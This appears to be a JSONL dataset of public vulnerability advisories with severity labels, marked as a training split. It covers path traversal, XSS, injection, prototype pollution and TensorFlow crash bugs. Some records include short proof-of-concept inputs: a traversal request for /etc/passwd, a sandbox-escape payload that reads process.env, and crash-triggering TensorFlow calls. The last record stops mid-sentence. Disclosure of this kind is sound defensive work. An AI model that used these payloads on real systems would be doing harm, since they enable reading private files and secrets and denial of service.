-{"id": "5b065ee4f13a667e60e8", "text": "Directory Traversal in serverxxx\n\nAffected versions of `serverxxx` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serverxxx\n\n[Severity: HIGH]\n\nAffected versions of `serverxxx` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "5f25b50e5d3757f2fe8d", "text": "Sandbox Breakout / Arbitrary Code Execution in localeval\n\nAll versions of `localeval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `constructor.constructor`. This may allow attackers to execute arbitrary code in the system.  Evaluating the payload \n```\nconstructor.constructor(\"return process.env\")()\n```\n\nreturns the contents of `process.env`.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in localeval\n\n[Severity: CRITICAL]\n\nAll versions of `localeval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `constructor.constructor`. This may allow attackers to execute arbitrary code in the system.  Evaluating the payload \n```\nconstructor.constructor(\"return process.env\")()\n``` \n\nreturns the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "34119b5b6fdc7e568c2e", "text": "Prototype Pollution in decal\n\nThis affects all versions of package decal. The vulnerability is in the extend function.", "text_raw": "Prototype Pollution in decal\n\n[Severity: HIGH]\n\nThis affects all versions of package decal. The vulnerability is in the extend function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "5fb5af0fed007d9d8b38", "text": "Withdrawn, accidental duplicate publish.\n\nThe qs module before 1.0.0 in Node.js does not call the compact function for array data, which allows remote attackers to cause a denial of service (memory consumption) by using a large index value to create a sparse array.", "text_raw": "High severity vulnerability that affects qs\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe qs module before 1.0.0 in Node.js does not call the compact function for array data, which allows remote attackers to cause a denial of service (memory consumption) by using a large index value to create a sparse array.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "03efc59d7dd38fd23d6a", "text": "Inclusion of Functionality from Untrusted Control Sphere in CKEditor 4\n\nIt was possible to execute a ReDoS-type attack inside CKEditor 4 before 4.16 by persuading a victim to paste crafted URL-like text into the editor, and then press Enter or Space (in the Autolink plugin).", "text_raw": "Inclusion of Functionality from Untrusted Control Sphere in CKEditor 4\n\n[Severity: MEDIUM]\n\nIt was possible to execute a ReDoS-type attack inside CKEditor 4 before 4.16 by persuading a victim to paste crafted URL-like text into the editor, and then press Enter or Space (in the Autolink plugin).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-13", "split": "train"}
-{"id": "75dd4e8df128a7bd1d77", "text": "MvccRwLock allows data races & aliasing violations\n\nAffected versions of the `noise_search` crate unconditionally implement Send/Sync for `MvccRwLock`.\nThis can lead to data races when types that are either `!Send` or `!Sync` (e.g. `Rc<T>`, `Arc<Cell<_>>`) are contained inside `MvccRwLock` and sent across thread boundaries. The data races can potentially lead to memory corruption (as demonstrated in the PoC from the original report issue).\n\nAlso, safe APIs of `MvccRwLock` allow aliasing violations by allowing `&T` and `LockResult<MutexGuard<Box<T>>>` to co-exist in conflicting lifetime regions. The APIs of `MvccRwLock` should either be marked as `unsafe` or `MbccRwLock` should be changed to private or pub(crate).", "text_raw": "MvccRwLock allows data races & aliasing violations\n\n[Severity: MEDIUM]\n\nAffected versions of the `noise_search` crate unconditionally implement Send/Sync for `MvccRwLock`.\nThis can lead to data races when types that are either `!Send` or `!Sync` (e.g. `Rc<T>`, `Arc<Cell<_>>`) are contained inside `MvccRwLock` and sent across thread boundaries. The data races can potentially lead to memory corruption (as demonstrated in the PoC from the original report issue).\n\nAlso, safe APIs of `MvccRwLock` allow aliasing violations by allowing `&T` and `LockResult<MutexGuard<Box<T>>>` to co-exist in conflicting lifetime regions. The APIs of `MvccRwLock` should either be marked as `unsafe` or `MbccRwLock` should be changed to private or pub(crate).\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a50071aaef51c0162879", "text": "SQL injection vulnerability in the policy admin tool in Apache Ranger\n\nSQL injection vulnerability in the policy admin tool in Apache Ranger before 0.5.3 allows remote authenticated administrators to execute arbitrary SQL commands via the eventTime parameter to service/plugins/policies/eventTime.", "text_raw": "SQL injection vulnerability in the policy admin tool in Apache Ranger\n\n[Severity: HIGH]\n\nSQL injection vulnerability in the policy admin tool in Apache Ranger before 0.5.3 allows remote authenticated administrators to execute arbitrary SQL commands via the eventTime parameter to service/plugins/policies/eventTime.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "2430eff93099212a691a", "text": "Open Redirect in OAuth2 Proxy\n\n### Impact\nAs users can provide a redirect address for the proxy to send the authenticated user to at the end of the authentication flow. This is expected to be the original URL that the user was trying to access.\nThis redirect URL is checked within the proxy and validated before redirecting the user to prevent malicious actors providing redirects to potentially harmful sites.", "text_raw": "Open Redirect in OAuth2 Proxy\n\n[Severity: MEDIUM]\n\n### Impact\nAs users can provide a redirect address for the proxy to send the authenticated user to at the end of the authentication flow. This is expected to be the original URL that the user was trying to access.\nThis redirect URL is checked within the proxy and validated before redirecting the user to prevent malicious actors providing redirects to potentially harmful sites.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "2b94f5d0358123b0a5d5", "text": "rails_admin ruby gem XSS\n\nAn exploitable cross site scripting (XSS) vulnerability exists in the add filter functionality of the rails_admin rails gem version 1.2.0. A specially crafted URL can cause an XSS flaw resulting in an attacker being able to execute arbitrary javascript on the victim's browser. An attacker can phish an authenticated user to trigger this vulnerability.", "text_raw": "rails_admin ruby gem XSS\n\n[Severity: MEDIUM]\n\nAn exploitable cross site scripting (XSS) vulnerability exists in the add filter functionality of the rails_admin rails gem version 1.2.0. A specially crafted URL can cause an XSS flaw resulting in an attacker being able to execute arbitrary javascript on the victim's browser. An attacker can phish an authenticated user to trigger this vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-03-05", "split": "train"}
-{"id": "c0b77a40f29039a85956", "text": "RDoc contains XSS vulnerability\n\ndarkfish.js in RDoc 2.3.0 through 3.12 and 4.x before 4.0.0.preview2.1, as used in Ruby, does not properly generate documents, which allows remote attackers to conduct cross-site scripting (XSS) attacks via a crafted URL.", "text_raw": "RDoc contains XSS vulnerability\n\n[Severity: MEDIUM]\n\ndarkfish.js in RDoc 2.3.0 through 3.12 and 4.x before 4.0.0.preview2.1, as used in Ruby, does not properly generate documents, which allows remote attackers to conduct cross-site scripting (XSS) attacks via a crafted URL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "3f7aba42b9ddcf826b9c", "text": "Null pointer exception in `DeserializeSparse`\n\n### Impact\nThe [shape inference code for `DeserializeSparse`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/sparse_ops.cc#L152-L168) can trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\n\ndataset = tf.data.Dataset.range(3)\n\n@tf.function                 \ndef test():                  \n  y = tf.raw_ops.DeserializeSparse(\n    serialized_sparse=tf.data.experimental.to_variant(dataset),\n    dtype=tf.int32)\n\ntest()\n```\n\nThis is because the shape inference function assumes that the `serialize_sparse` tensor is a tensor with positive rank (and having `3` as the last dimension).  However, in the example above, the argument is a scalar (i.e., rank 0).\n\n### Patches\nWe have patched the issue in GitHub commit [d3738dd70f1c9ceb547258cbb82d853da8771850](https://github.com/tensorflow/tensorflow/commit/d3738dd70f1c9ceb547258cbb82d853da8771850).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Null pointer exception in `DeserializeSparse`\n\n[Severity: MEDIUM]\n\n### Impact\nThe [shape inference code for `DeserializeSparse`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/sparse_ops.cc#L152-L168) can trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\n\ndataset = tf.data.Dataset.range(3)\n  \n@tf.function                 \ndef test():                  \n  y = tf.raw_ops.DeserializeSparse(\n    serialized_sparse=tf.data.experimental.to_variant(dataset),\n    dtype=tf.int32)\n\ntest()\n```\n\nThis is because the shape inference function assumes that the `serialize_sparse` tensor is a tensor with positive rank (and having `3` as the last dimension).  However, in the example above, the argument is a scalar (i.e., rank 0).\n\n### Patches\nWe have patched the issue in GitHub commit [d3738dd70f1c9ceb547258cbb82d853da8771850](https://github.com/tensorflow/tensorflow/commit/d3738dd70f1c9ceb547258cbb82d853da8771850).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "4e1eca320fdc1e4ce2b0", "text": "Use after free and double free in bitvec\n\nAn issue was discovered in the bitvec crate before 0.17.4 for Rust. BitVec to BitBox conversion leads to a use-after-free or double free.", "text_raw": "Use after free and double free in bitvec\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the bitvec crate before 0.17.4 for Rust. BitVec to BitBox conversion leads to a use-after-free or double free.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a0ffc837b8873f6c88ac", "text": "EyeLock nano NXT 3.5 Local File Disclosure Vulnerability", "text_raw": "EyeLock nano NXT 3.5 Local File Disclosure Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-08-10", "split": "train"}
-{"id": "7195d3c427ec0d069629", "text": "Machine-In-The-Middle in airtable\n\nAffected versions of `airtable` are vulnerable to Machine-In-The-Middle. The package has SSL certificate validation disabled by default unintentionally. This may allow attackers in a privileged network position to decrypt intercepted traffic.\n\n## Recommendation\n\nUpgrade to version 0.7.2 or later.", "text_raw": "Machine-In-The-Middle in airtable\n\n[Severity: HIGH]\n\nAffected versions of `airtable` are vulnerable to Machine-In-The-Middle. The package has SSL certificate validation disabled by default unintentionally. This may allow attackers in a privileged network position to decrypt intercepted traffic.\n\n\n## Recommendation\n\nUpgrade to version 0.7.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c7be34bdd1f006437fb0", "text": "Path traversal and files overwrite with unsquashfs in singularity\n\n### Impact\n\nDue to insecure handling of path traversal and the lack of path sanitization within `unsquashfs` (a distribution provided utility used by Singularity), it is possible to overwrite/create any files on the host filesystem during the extraction of a crafted squashfs filesystem.\n\nSquashfs extraction occurs automatically for unprivileged execution of Singularity (either `--without-suid` installation or with `allow setuid = no`) when a user attempts to run an image which:\n\n- is a local SIF image or a single file containing a squashfs filesystem\n- is pulled from remote sources `library://` or `shub://`\n\nImage build is also impacted in a more serious way as it is often performed by the root user, allowing an attacker to overwrite/create files leading to a system compromise.  Bootstrap methods `library`, `shub` and `localimage` trigger a squashfs extraction.\n\n### Patches\n\nThis issue is addressed in Singularity 3.6.4.\n\nAll users are advised to upgrade to 3.6.4 especially if they use Singularity mainly for building image as root user.\n\n### Workarounds\n\nThere is no solid workaround except to temporarily avoid use of unprivileged mode with single file images, in favor of sandbox images instead. Regarding image build, temporarily avoid building from `library` and `shub` sources, and as much as possible use `--fakeroot` or a VM to limit potential impact.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "text_raw": "Path traversal and files overwrite with unsquashfs in singularity\n\n[Severity: HIGH]\n\n### Impact\n\nDue to insecure handling of path traversal and the lack of path sanitization within `unsquashfs` (a distribution provided utility used by Singularity), it is possible to overwrite/create any files on the host filesystem during the extraction of a crafted squashfs filesystem.\n\nSquashfs extraction occurs automatically for unprivileged execution of Singularity (either `--without-suid` installation or with `allow setuid = no`) when a user attempts to run an image which:\n\n- is a local SIF image or a single file containing a squashfs filesystem\n- is pulled from remote sources `library://` or `shub://`\n\nImage build is also impacted in a more serious way as it is often performed by the root user, allowing an attacker to overwrite/create files leading to a system compromise.  Bootstrap methods `library`, `shub` and `localimage` trigger a squashfs extraction.\n\n### Patches\n\nThis issue is addressed in Singularity 3.6.4.\n\nAll users are advised to upgrade to 3.6.4 especially if they use Singularity mainly for building image as root user.\n\n### Workarounds\n\nThere is no solid workaround except to temporarily avoid use of unprivileged mode with single file images, in favor of sandbox images instead. Regarding image build, temporarily avoid building from `library` and `shub` sources, and as much as possible use `--fakeroot` or a VM to limit potential impact.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "a3c7f8a07b41b147b057", "text": "Prototype Pollution in immer\n\nimmer is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').", "text_raw": "Prototype Pollution in immer\n\n[Severity: HIGH]\n\nimmer is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "49db53de54785e12f527", "text": "ZBL EPON ONU Broadband Router 1.0 Remote Privilege Escalation Exploit", "text_raw": "ZBL EPON ONU Broadband Router 1.0 Remote Privilege Escalation Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-04-01", "split": "train"}
-{"id": "20da022ab2325cd5e966", "text": "fastreader Gem for Ruby URI Handling Arbitrary Command Injection\n\nfastreader Gem for Ruby contains a flaw that is triggered during the handling of specially crafted input passed via a URL that contains a ';' character. This may allow a context-dependent attacker to potentially execute arbitrary commands.", "text_raw": "fastreader Gem for Ruby URI Handling Arbitrary Command Injection\n\n[Severity: HIGH]\n\nfastreader Gem for Ruby contains a flaw that is triggered during the handling of specially crafted input passed via a URL that contains a ';' character. This may allow a context-dependent attacker to potentially execute arbitrary commands.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "2eb194487c44e2de1994", "text": "OS Command Injection in im-metadata\n\nim-metadata through 3.0.1 allows remote attackers to execute arbitrary commands via the \"exec\" argument. It is possible to inject arbitrary commands as part of the metadata options which is given to the \"exec\" function.", "text_raw": "OS Command Injection in im-metadata\n\n[Severity: HIGH]\n\nim-metadata through 3.0.1 allows remote attackers to execute arbitrary commands via the \"exec\" argument. It is possible to inject arbitrary commands as part of the metadata options which is given to the \"exec\" function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "2ff348b26b59d396e176", "text": "Cisco AnyConnect Secure Mobility Client Remote Command Execution", "text_raw": "Cisco AnyConnect Secure Mobility Client Remote Command Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-06-13", "split": "train"}
-{"id": "be4ee0a7b4d73061c46d", "text": "Segfault in `tf.quantization.quantize_and_dequantize`\n\n### Impact\nAn attacker can pass an invalid `axis` value to `tf.quantization.quantize_and_dequantize`:\n\n```python\ntf.quantization.quantize_and_dequantize(\n    input=[2.5, 2.5], input_min=[0,0], input_max=[1,1], axis=10)\n```\n\nThis results in accessing [a dimension outside the rank of the input tensor](https://github.com/tensorflow/tensorflow/blob/0225022b725993bfc19b87a02a2faaad9a53bc17/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L74) in the C++ kernel implementation:\n```\nconst int depth = (axis_ == -1) ? 1 : input.dim_size(axis_);\n```\n\nHowever, [`dim_size` only does a `DCHECK`](https://github.com/tensorflow/tensorflow/blob/0225022b725993bfc19b87a02a2faaad9a53bc17/tensorflow/core/framework/tensor_shape.cc#L292-L307) to validate the argument and then uses it to access the corresponding element of an array:\n```\nint64 TensorShapeBase<Shape>::dim_size(int d) const {\n  DCHECK_GE(d, 0);\n  DCHECK_LT(d, dims());\n  DoStuffWith(dims_[d]);\n}\n```\n\nSince in normal builds, `DCHECK`-like macros are no-ops, this results in segfault and access out of bounds of the array.\n\n### Patches\n\nWe have patched the issue in eccb7ec454e6617738554a255d77f08e60ee0808 and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in #42105", "text_raw": "Segfault in `tf.quantization.quantize_and_dequantize`\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can pass an invalid `axis` value to `tf.quantization.quantize_and_dequantize`:\n\n```python\ntf.quantization.quantize_and_dequantize(\n    input=[2.5, 2.5], input_min=[0,0], input_max=[1,1], axis=10)\n```\n\nThis results in accessing [a dimension outside the rank of the input tensor](https://github.com/tensorflow/tensorflow/blob/0225022b725993bfc19b87a02a2faaad9a53bc17/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L74) in the C++ kernel implementation:\n```\nconst int depth = (axis_ == -1) ? 1 : input.dim_size(axis_);\n```\n\nHowever, [`dim_size` only does a `DCHECK`](https://github.com/tensorflow/tensorflow/blob/0225022b725993bfc19b87a02a2faaad9a53bc17/tensorflow/core/framework/tensor_shape.cc#L292-L307) to validate the argument and then uses it to access the corresponding element of an array:\n```\nint64 TensorShapeBase<Shape>::dim_size(int d) const {\n  DCHECK_GE(d, 0);\n  DCHECK_LT(d, dims());\n  DoStuffWith(dims_[d]);\n}\n```\n\nSince in normal builds, `DCHECK`-like macros are no-ops, this results in segfault and access out of bounds of the array.\n\n### Patches\n\nWe have patched the issue in eccb7ec454e6617738554a255d77f08e60ee0808 and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in #42105", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-13", "split": "train"}
-{"id": "3734547154051228ae8a", "text": "VUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit", "text_raw": "VUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2008-08-18", "split": "train"}
-{"id": "fad1bfeac120a0a9a030", "text": "Cryptographically Weak Pseudo-Random Number Generator (PRNG) in akka-actor\n\nLightbend Akka 2.5.x before 2.5.16 allows message disclosure and modification because of an RNG error. A random number generator is used in Akka Remoting for TLS (both classic and Artery Remoting). Akka allows configuration of custom random number generators. For historical reasons, Akka included the AES128CounterSecureRNG and AES256CounterSecureRNG random number generators. The implementations had a bug that caused the generated numbers to be repeated after only a few bytes. The custom RNG implementations were not configured by default but examples in the documentation showed (and therefore implicitly recommended) using the custom ones. This can be used by an attacker to compromise the communication if these random number generators are enabled in configuration. It would be possible to eavesdrop, replay, or modify the messages sent with Akka Remoting/Cluster.", "text_raw": "Cryptographically Weak Pseudo-Random Number Generator (PRNG) in akka-actor\n\n[Severity: CRITICAL]\n\nLightbend Akka 2.5.x before 2.5.16 allows message disclosure and modification because of an RNG error. A random number generator is used in Akka Remoting for TLS (both classic and Artery Remoting). Akka allows configuration of custom random number generators. For historical reasons, Akka included the AES128CounterSecureRNG and AES256CounterSecureRNG random number generators. The implementations had a bug that caused the generated numbers to be repeated after only a few bytes. The custom RNG implementations were not configured by default but examples in the documentation showed (and therefore implicitly recommended) using the custom ones. This can be used by an attacker to compromise the communication if these random number generators are enabled in configuration. It would be possible to eavesdrop, replay, or modify the messages sent with Akka Remoting/Cluster.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-22", "split": "train"}
-{"id": "aa111c0c685763acbeaf", "text": "OWASP OWASP ANTISAMY version 1.5.7 and earlier contains a Cross Site Scripting (XSS) vulnerability in AntiSamy.scan() - for both SAX & DOM that can result in Cross Site Scripting.", "text_raw": "Moderate severity vulnerability that affects org.owasp.antisamy:antisamy\n\n[Severity: MEDIUM]\n\nOWASP OWASP ANTISAMY version 1.5.7 and earlier contains a Cross Site Scripting (XSS) vulnerability in AntiSamy.scan() - for both SAX & DOM that can result in Cross Site Scripting.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "3568a6ba3ca33e2780ea", "text": "Gemirro Stored XSS in Gemspec \"homepage\" value\n\nStored cross-site scripting (XSS) vulnerability in Gemirro before 0.16.0 allows attackers to inject arbitrary web script via a crafted javascript: URL in the \"homepage\" value of a \".gemspec\" file.\nA \".gemspec\" file must be created with a JavaScript URL in the homepage  value. This can be used to build a gem for upload to the Gemirro server, in order to achieve stored XSS via the author name hyperlink.", "text_raw": "Gemirro Stored XSS in Gemspec \"homepage\" value\n\n[Severity: MEDIUM]\n\nStored cross-site scripting (XSS) vulnerability in Gemirro before 0.16.0 allows attackers to inject arbitrary web script via a crafted javascript: URL in the \"homepage\" value of a \".gemspec\" file.\nA \".gemspec\" file must be created with a JavaScript URL in the homepage  value. This can be used to build a gem for upload to the Gemirro server, in order to achieve stored XSS via the author name hyperlink.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-11-29", "split": "train"}
-{"id": "d4adbbdc878f79338f3b", "text": "Arbitrary Code Execution in json-ptr\n\nThere is a security vulnerability in `json-ptr` versions prior to v2.1.0 in which an unscrupulous actor may execute arbitrary code. If your code sends un-sanitized user input to json-ptr's .get() method, your project is vulnerable to this injection-style vulnerability.", "text_raw": "Arbitrary Code Execution in json-ptr\n\n[Severity: HIGH]\n\nThere is a security vulnerability in `json-ptr` versions prior to v2.1.0 in which an unscrupulous actor may execute arbitrary code. If your code sends un-sanitized user input to json-ptr's .get() method, your project is vulnerable to this injection-style vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-26", "split": "train"}
-{"id": "f8cd51b52bc235eb738b", "text": "Client metadata path-traversal\n\n### Impact\nIn both clients (`tuf/client` and `tuf/ngclient`), there is a path traversal vulnerability that in the worst case can overwrite files ending in `.json` anywhere on the client system on a call to `get_one_valid_targetinfo()`. It occurs because the rolename is used to form the filename, and may contain path traversal characters (ie `../../name.json`).\n\nThe impact is mitigated by a few facts:\n* It only affects implementations that allow arbitrary rolename selection for delegated targets metadata\n* The attack requires the ability to A) insert new metadata for the path-traversing role and B) get the role delegated by an existing targets metadata\n* The written file content is heavily restricted since it needs to be a valid, signed targets file. The file extension is always .json.\n\n### Patches\nA fix is available in version 0.19 or newer.\n\n### Workarounds\nNone that do not require code changes. Clients can restrict the allowed character set for rolenames, or they can store metadata in files named in a way that is not vulnerable: neither of these approaches is possible without modifying python-tuf.\n\n### References\n- [The issue where this was discovered](https://github.com/theupdateframework/python-tuf/issues/1527)\n- [Proof of Concept demonstrating the flaw](https://github.com/jku/path-traversal-poc)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [python-tuf](https://github.com/theupdateframework/python-tuf/issues)\n* Contact the maintainers by email or Slack", "text_raw": "Client metadata path-traversal\n\n[Severity: MEDIUM]\n\n### Impact\nIn both clients (`tuf/client` and `tuf/ngclient`), there is a path traversal vulnerability that in the worst case can overwrite files ending in `.json` anywhere on the client system on a call to `get_one_valid_targetinfo()`. It occurs because the rolename is used to form the filename, and may contain path traversal characters (ie `../../name.json`).\n\nThe impact is mitigated by a few facts:\n* It only affects implementations that allow arbitrary rolename selection for delegated targets metadata\n* The attack requires the ability to A) insert new metadata for the path-traversing role and B) get the role delegated by an existing targets metadata\n* The written file content is heavily restricted since it needs to be a valid, signed targets file. The file extension is always .json.\n\n### Patches\nA fix is available in version 0.19 or newer.\n\n### Workarounds\nNone that do not require code changes. Clients can restrict the allowed character set for rolenames, or they can store metadata in files named in a way that is not vulnerable: neither of these approaches is possible without modifying python-tuf.\n\n### References\n- [The issue where this was discovered](https://github.com/theupdateframework/python-tuf/issues/1527)\n- [Proof of Concept demonstrating the flaw](https://github.com/jku/path-traversal-poc)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [python-tuf](https://github.com/theupdateframework/python-tuf/issues)\n* Contact the maintainers by email or Slack\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-19", "split": "train"}
-{"id": "fdc1474b0c6d3a62223f", "text": "Invalid validation in `SparseMatrixSparseCholesky`\n\n### Impact\nAn attacker can trigger a null pointer dereference by providing an invalid `permutation` to `tf.raw_ops.SparseMatrixSparseCholesky`:\n\n```python\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops\n\nindices_array = np.array([[0, 0]])\nvalue_array = np.array([-10.0], dtype=np.float32)\ndense_shape = [1, 1]\nst = tf.SparseTensor(indices_array, value_array, dense_shape)\n\ninput = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(\n       st.indices, st.values, st.dense_shape)\n\npermutation = tf.constant([], shape=[1, 0], dtype=tf.int32)\n\ntf.raw_ops.SparseMatrixSparseCholesky(input=input, permutation=permutation, type=tf.float32)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/kernels/sparse/sparse_cholesky_op.cc#L85-L86) fails to properly validate the input arguments:\n\n```cc \nvoid Compute(OpKernelContext* ctx) final {\n  ...\n  const Tensor& input_permutation_indices = ctx->input(1);\n  ...\n  ValidateInputs(ctx, *input_matrix, input_permutation_indices, &batch_size, &num_rows);\n  ...\n}\n\nvoid ValidateInputs(OpKernelContext* ctx,\n    const CSRSparseMatrix& sparse_matrix,\n    const Tensor& permutation_indices, int* batch_size,\n    int64* num_rows) {\n  OP_REQUIRES(ctx, sparse_matrix.dtype() == DataTypeToEnum<T>::value, ...)\n  ...\n}\n```\nAlthough `ValidateInputs` is called and there are checks in the body of this function, the code proceeds to the next line in `ValidateInputs` since [`OP_REQUIRES`](https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/framework/op_requires.h#L41-L48) is a macro that only exits the current function.\n\n```cc\n#define OP_REQUIRES(CTX, EXP, STATUS)                     \\\n  do {                                                    \\\n    if (!TF_PREDICT_TRUE(EXP)) {                          \\\n      CheckNotInComputeAsync((CTX), \"OP_REQUIRES_ASYNC\"); \\\n      (CTX)->CtxFailure(__FILE__, __LINE__, (STATUS));    \\\n      return;                                             \\\n    }                                                     \\\n  } while (0)\n```\n\nThus, the first validation condition that fails in `ValidateInputs` will cause an early return from that function. However, the caller will continue execution from the next line. The fix is to either explicitly check `context->status()` or to convert `ValidateInputs` to return a `Status`.\n\n### Patches\nWe have patched the issue in GitHub commit [e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd](https://github.com/tensorflow/tensorflow/commit/e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and 